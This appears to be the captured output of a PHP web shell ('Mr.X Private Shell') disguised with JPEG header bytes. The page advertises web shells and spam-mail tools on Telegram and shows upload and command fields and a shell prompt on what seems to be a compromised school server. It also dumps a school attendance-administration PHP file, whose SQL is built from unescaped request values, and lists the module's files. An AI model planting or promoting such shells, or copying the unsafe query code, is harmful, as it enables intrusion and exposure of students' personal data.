����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php
//FJ move Attendance.php from functions/ to modules/Attendance/includes
require_once 'modules/Attendance/includes/UpdateAttendanceDaily.fnc.php';

if ( ! empty( $_REQUEST['month_date'] )
	&& ! empty( $_REQUEST['day_date'] )
	&& ! empty( $_REQUEST['year_date'] ) )
{
	$date = $_REQUEST['year_date'] . '-' . $_REQUEST['month_date'] . '-' . $_REQUEST['day_date'];
}
else
{
	$date = DBDate();
}

$current_RET = DBGet( "SELECT ATTENDANCE_TEACHER_CODE,ATTENDANCE_CODE,ATTENDANCE_REASON,STUDENT_ID,ADMIN,COURSE_PERIOD_ID FROM attendance_period WHERE SCHOOL_DATE='" . $date . "'", [], [ 'STUDENT_ID', 'COURSE_PERIOD_ID' ] );

if ( $_REQUEST['attendance'] && $_POST['attendance'] && AllowEdit() )
{
	foreach ( (array) $_REQUEST['attendance'] as $student_id => $values )
	{
		foreach ( (array) $values as $period => $columns )
		{
			if ( $current_RET[$student_id][$period] )
			{
				$sql = "UPDATE attendance_period SET ADMIN='Y',";

				foreach ( (array) $columns as $column => $value )
				{
					$sql .= DBEscapeIdentifier( $column ) . "='" . $value . "',";
				}

				$sql = mb_substr( $sql, 0, -1 ) . " WHERE SCHOOL_DATE='" . $date . "' AND COURSE_PERIOD_ID='" . (int) $period . "' AND STUDENT_ID='" . (int) $student_id . "'";
				DBQuery( $sql );
			}
			else
			{
				$period_id = DBGetOne( "SELECT PERIOD_ID FROM course_periods WHERE COURSE_PERIOD_ID='" . (int) $period . "'" );

				$sql = "INSERT INTO attendance_period ";

				$fields = 'STUDENT_ID,SCHOOL_DATE,PERIOD_ID,MARKING_PERIOD_ID,COURSE_PERIOD_ID,ADMIN,';
				$values = "'" . $student_id . "','" . $date . "','" . $period_id . "','" . GetCurrentMP( 'QTR', $date ) . "','" . $period . "','Y',";

				$go = 0;

				foreach ( (array) $columns as $column => $value )
				{
					if ( ! empty( $value ) || $value == '0' )
					{
						$fields .= DBEscapeIdentifier( $column ) . ',';
						$values .= "'" . $value . "',";
						$go = true;
					}
				}

				$sql .= '(' . mb_substr( $fields, 0, -1 ) . ') values(' . mb_substr( $values, 0, -1 ) . ')';

				if ( $go )
				{
					DBQuery( $sql );
				}
			}
		}

		UpdateAttendanceDaily( $student_id, $date );
	}

	$current_RET = DBGet( "SELECT ATTENDANCE_TEACHER_CODE,ATTENDANCE_CODE,ATTENDANCE_REASON,STUDENT_ID,ADMIN,COURSE_PERIOD_ID FROM attendance_period WHERE SCHOOL_DATE='" . $date . "'", [], [ 'STUDENT_ID', 'COURSE_PERIOD_ID' ] );

	// Unset attendance & redirect URL.
	RedirectURL( 'attendance' );
}

$codes_RET = DBGet( "SELECT ID,SHORT_NAME,TITLE FROM attendance_codes WHERE SCHOOL_ID='" . UserSchool() . "' AND SYEAR='" . UserSyear() . "'" );
$periods_RET = DBGet( "SELECT PERIOD_ID,SHORT_NAME,TITLE FROM school_periods WHERE SCHOOL_ID='" . UserSchool() . "' AND SYEAR='" . UserSyear() . "' ORDER BY SORT_ORDER IS NULL,SORT_ORDER" );

if ( isset( $_REQUEST['student_id'] ) && $_REQUEST['student_id'] !== 'new' )
{
	if ( UserStudentID() != $_REQUEST['student_id'] )
	{
		SetUserStudentID( $_REQUEST['student_id'] );
	}

	$functions = [ 'ATTENDANCE_CODE' => '_makeCodePulldown', 'ATTENDANCE_TEACHER_CODE' => '_makeCode', 'ATTENDANCE_REASON' => '_makeReasonInput' ];

	$schedule_RET = DBGet( "SELECT s.STUDENT_ID,c.TITLE AS COURSE,cp.PERIOD_ID,cp.COURSE_PERIOD_ID,
	p.TITLE AS PERIOD_TITLE,'' AS ATTENDANCE_CODE,'' AS ATTENDANCE_TEACHER_CODE,'' AS ATTENDANCE_REASON
	FROM schedule s,courses c,course_periods cp,school_periods p
	WHERE s.SYEAR='" . UserSyear() . "'
	AND s.SCHOOL_ID='" . UserSchool() . "'
	AND s.MARKING_PERIOD_ID IN (" . GetAllMP( 'QTR', GetCurrentMP( 'QTR', $date ) ) . ")
	AND s.COURSE_ID=c.COURSE_ID
	AND s.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID
	AND cp.PERIOD_ID=p.PERIOD_ID
	AND cp.DOES_ATTENDANCE='Y'
	AND s.STUDENT_ID='" . (int) $_REQUEST['student_id'] . "'
	AND ('" . $date . "' BETWEEN s.START_DATE AND s.END_DATE OR s.END_DATE IS NULL)
	ORDER BY p.SORT_ORDER IS NULL,p.SORT_ORDER", $functions );

	$columns = [ 'PERIOD_TITLE' => _( 'Period' ), 'COURSE' => _( 'Course' ), 'ATTENDANCE_CODE' => _( 'Attendance Code' ), 'ATTENDANCE_TEACHER_CODE' => _( 'Teacher\'s Entry' ), 'ATTENDANCE_REASON' => _( 'Comments' ) ];
	echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=student&student_id=' . $_REQUEST['student_id']  ) . '" method="POST">';
	DrawHeader( ProgramTitle(), '<input type="submit" value="' . AttrEscape( _( 'Update' ) ) . '" />' );
	DrawHeader( PrepareDate( $date, '_date' ) );
	ListOutput( $schedule_RET, $columns, _( 'Course' ), _( 'Courses' ) );
	echo '</form>';
}
else
{
	$extra['WHERE'] = " AND EXISTS (SELECT '' FROM attendance_period ap,attendance_codes ac WHERE ap.SCHOOL_DATE='" . $date . "' AND ap.STUDENT_ID=ssm.STUDENT_ID AND ap.ATTENDANCE_CODE=ac.ID AND ac.SCHOOL_ID=ssm.SCHOOL_ID AND ac.SYEAR=ssm.SYEAR ";

	if ( isset( $_REQUEST['codes'] )
		&& ! empty( $_REQUEST['codes'] ) )
	{
		$REQ_codes = $_REQUEST['codes'];

		foreach ( (array) $REQ_codes as $key => $value )
		{
			if ( ! $value )
			{
				unset( $REQ_codes[$key] );
			}
			elseif ( $value === 'A' )
			{
				$abs = true;
			}
		}
	}
	else
	{
		$abs = true;
	}

	if ( ! empty( $REQ_codes ) && ! $abs )
	{
		$extra['WHERE'] .= " AND ac.ID IN (";

		foreach ( (array) $REQ_codes as $code )
		{
			$extra['WHERE'] .= "'" . $code . "',";
		}

		$extra2['WHERE'] = $extra['WHERE'] = mb_substr( $extra['WHERE'], 0, -1 ) . ')';
	}
	elseif ( $abs )
	{
		$RET = DBGet( "SELECT ID FROM attendance_codes WHERE SYEAR='" . UserSyear() . "' AND SCHOOL_ID='" . UserSchool() . "' AND (DEFAULT_CODE!='Y' OR DEFAULT_CODE IS NULL)" );

		if ( ! empty( $RET ) )
		{
			$extra['WHERE'] .= " AND ac.ID IN (";

			foreach ( (array) $RET as $code )
			{
				$extra['WHERE'] .= "'" . $code['ID'] . "',";
			}

			$extra2['WHERE'] = $extra['WHERE'] = mb_substr( $extra['WHERE'], 0, -1 ) . ')';
		}
	}

	$extra['WHERE'] .= ')';
	$extra2['WHERE'] .= ')';

	$extra2['SELECT'] .= ',p.PERSON_ID,p.FIRST_NAME,p.LAST_NAME,p.MIDDLE_NAME,
	sjp.STUDENT_RELATION,pjc.TITLE,pjc.VALUE,a.PHONE,sjp.ADDRESS_ID ';
	$extra2['FROM'] .= ',address a,people p,people_join_contacts pjc,students_join_people sjp,students_join_address sja ';
	$extra2['WHERE'] .= ' AND sja.STUDENT_ID=ssm.STUDENT_ID AND sjp.STUDENT_ID=sja.STUDENT_ID AND pjc.PERSON_ID=sjp.PERSON_ID AND p.PERSON_ID=sjp.PERSON_ID AND sjp.ADDRESS_ID=a.ADDRESS_ID AND (sjp.CUSTODY=\'Y\' OR sjp.EMERGENCY=\'Y\') ';
	$extra2['group'] = [ 'STUDENT_ID', 'PERSON_ID' ];
	$contacts_RET = GetStuList( $extra2 );

	$columns = [];
	$extra['SELECT'] .= ',NULL AS STATE_VALUE,NULL AS PHONE';
	$extra['functions']['PHONE'] = 'makeContactInfo';
	$extra['functions']['STATE_VALUE'] = '_makeStateValue';
	$extra['columns_before']['PHONE'] = 'Contact';
	$extra['columns_after']['STATE_VALUE'] = 'Present';
	$extra['BackPrompt'] = false;
	$extra['Redirect'] = false;
	$extra['new'] = true;

	foreach ( (array) $periods_RET as $period )
	{
		$extra['SELECT'] .= ",'' AS PERIOD_" . $period['PERIOD_ID'];
		$extra['functions']['PERIOD_' . $period['PERIOD_ID']] = '_makeCodePulldown';
		$extra['columns_after']['PERIOD_' . $period['PERIOD_ID']] = $period['SHORT_NAME'];
	}

	echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname']  ) . '" method="POST">';
	DrawHeader( ProgramTitle(), '<input type="submit" value="' . AttrEscape( _( 'Update' ) ) . '" />' );

	if ( $REQ_codes )
	{
		foreach ( (array) $REQ_codes as $code )
		{
			$code_pulldowns .= _makeCodeSearch( $code );
		}
	}
	elseif ( $abs )
	{
		$code_pulldowns = _makeCodeSearch( 'A' );
	}
	else
	{
		$code_pulldowns = _makeCodeSearch();
	}

	if ( UserStudentID() )
	{
		$current_student_link = '<a href="' .
			URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=student&month_date=' . $_REQUEST['month_date'] . '&day_date=' . $_REQUEST['day_date'] . '&year_date=' . $_REQUEST['year_date'] . '&student_id=' . UserStudentID() ) .
			'">' . _( 'Current Student' ) . '</a></td><td>';
	}

	DrawHeader(
		PrepareDate( $date, '_date' ),
		'<table><tr><td>' . $current_student_link .
		button(
			'add',
			'',
			'"#" onclick="' . AttrEscape( 'addHTML(' . json_encode( _makeCodeSearch() ) . ',\'code_pulldowns\'); return false;' ) . '"'
		) . '</td><td><div id="code_pulldowns">' . $code_pulldowns . '</div></td></tr></table>' );

	$_REQUEST['search_modfunc'] = 'list';
	Search( 'student_id', $extra );

	echo '</form>';
}

/**
 * @param $value
 * @param $title
 */
function _makeCodePulldown( $value, $title )
{
	global $THIS_RET, $codes_RET, $current_RET, $current_schedule_RET, $date;

	if ( ! isset( $current_schedule_RET[$THIS_RET['STUDENT_ID']] ) || ! is_array( $current_schedule_RET[$THIS_RET['STUDENT_ID']] ) )
	{
		$current_schedule_RET[$THIS_RET['STUDENT_ID']] = DBGet( "SELECT cp.PERIOD_ID,cp.COURSE_PERIOD_ID
		FROM schedule s,course_periods cp
		WHERE s.STUDENT_ID='" . (int) $THIS_RET['STUDENT_ID'] . "'
		AND s.SYEAR='" . UserSyear() . "'
		AND s.SCHOOL_ID='" . UserSchool() . "'
		AND cp.COURSE_PERIOD_ID = s.COURSE_PERIOD_ID
		AND cp.DOES_ATTENDANCE='Y'
		AND s.MARKING_PERIOD_ID IN (" . GetAllMP( 'QTR', GetCurrentMP( 'QTR', $date ) ) . ")
		AND ('" . $date . "' BETWEEN s.START_DATE AND s.END_DATE OR s.END_DATE IS NULL)", [], [ 'PERIOD_ID' ] );

		if ( ! $current_schedule_RET[$THIS_RET['STUDENT_ID']] )
		{
			$current_schedule_RET[$THIS_RET['STUDENT_ID']] = [];
		}
	}

	if ( ! empty( $THIS_RET['COURSE'] ) )
	{
		$period = $THIS_RET['COURSE_PERIOD_ID'];
		$period_id = $THIS_RET['PERIOD_ID'];

		foreach ( (array) $codes_RET as $code )
		{
			$options[$code['ID']] = $code['TITLE'];
		}
	}
	else
	{
		$period_id = mb_substr( $title, 7 );
		$period = $current_schedule_RET[$THIS_RET['STUDENT_ID']][$period_id][1]['COURSE_PERIOD_ID'];

		foreach ( (array) $codes_RET as $code )
		{
			$options[$code['ID']] = $code['SHORT_NAME'];
		}
	}

	$val = $current_RET[$THIS_RET['STUDENT_ID']][$period][1]['ATTENDANCE_CODE'];

	if ( $current_schedule_RET[$THIS_RET['STUDENT_ID']][$period_id] )
	{
		return SelectInput( $val, 'attendance[' . $THIS_RET['STUDENT_ID'] . '][' . $period . '][ATTENDANCE_CODE]', '', $options );
	}
	else
	{
		return false;
	}
}

/**
 * @param $value
 * @param $title
 * @return mixed
 */
function _makeCode( $value, $title )
{
	global $THIS_RET, $codes_RET, $current_RET;

	foreach ( (array) $codes_RET as $code )
	{
		if ( $current_RET[$THIS_RET['STUDENT_ID']][$THIS_RET['COURSE_PERIOD_ID']][1]['ATTENDANCE_TEACHER_CODE'] == $code['ID'] )
		{
			return $code['TITLE'];
		}
	}
}

/**
 * @param $value
 * @param $title
 */
function _makeReasonInput( $value, $title )
{
	global $THIS_RET, $codes_RET, $current_RET;

	$val = $current_RET[$THIS_RET['STUDENT_ID']][$THIS_RET['COURSE_PERIOD_ID']][1]['ATTENDANCE_REASON'];

	return TextInput( $val, 'attendance[' . $THIS_RET['STUDENT_ID'] . '][' . $THIS_RET['COURSE_PERIOD_ID'] . '][ATTENDANCE_REASON]', '', $options );
}

/**
 * @param $value
 * @return mixed
 */
function _makeCodeSearch( $value = '' )
{
	global $codes_RET, $code_search_selected;

	$return = '<select name=codes[]><option value="">All</option><option value="A"' . (  ( $value == 'A' ) ? ' selected' : '' ) . '>NP</option>';

	if ( ! empty( $codes_RET ) )
	{
		foreach ( (array) $codes_RET as $code )
		{
			if ( $value == $code['ID'] )
			{
				$return .= '<option value="' . AttrEscape( $code['ID'] ) . '" selected>' . $code['SHORT_NAME'] . '</option>';
			}
			else
			{
				$return .= '<option value="' . AttrEscape( $code['ID'] ) . '">' . $code['SHORT_NAME'] . '</option>';
			}
		}
	}

	$return .= '</select>';

	return $return;
}

/**
 * @param $value
 * @param $name
 */
function _makeStateValue( $value, $name )
{
	global $THIS_RET, $date;

	$value = DBGetOne( "SELECT STATE_VALUE
		FROM attendance_day
		WHERE STUDENT_ID='" . (int) $THIS_RET['STUDENT_ID'] . "'
		AND SCHOOL_DATE='" . $date . "'" );

	if ( $value == '0.0' )
	{
		return 'None';
	}
	elseif ( $value == '.5' )
	{
		return 'Half-Day';
	}
	else
	{
		return 'Full-Day';
	}
}

Filemanager

Name Type Size Permission Actions
includes Folder 0755
AddAbsences.php File 10.68 KB 0644
Administration.php File 21.38 KB 0644
Administration_fast.old.php File 11.57 KB 0644
AttendanceCodes.php File 8.51 KB 0644
DailySummary.php File 1.17 KB 0644
DuplicateAttendance.php File 11.19 KB 0644
FixDailyAttendance.php File 2.25 KB 0644
Menu.php File 1.6 KB 0644
Percent.php File 11.72 KB 0644
TakeAttendance.php File 17.1 KB 0644
TeacherCompletion.php File 7.7 KB 0644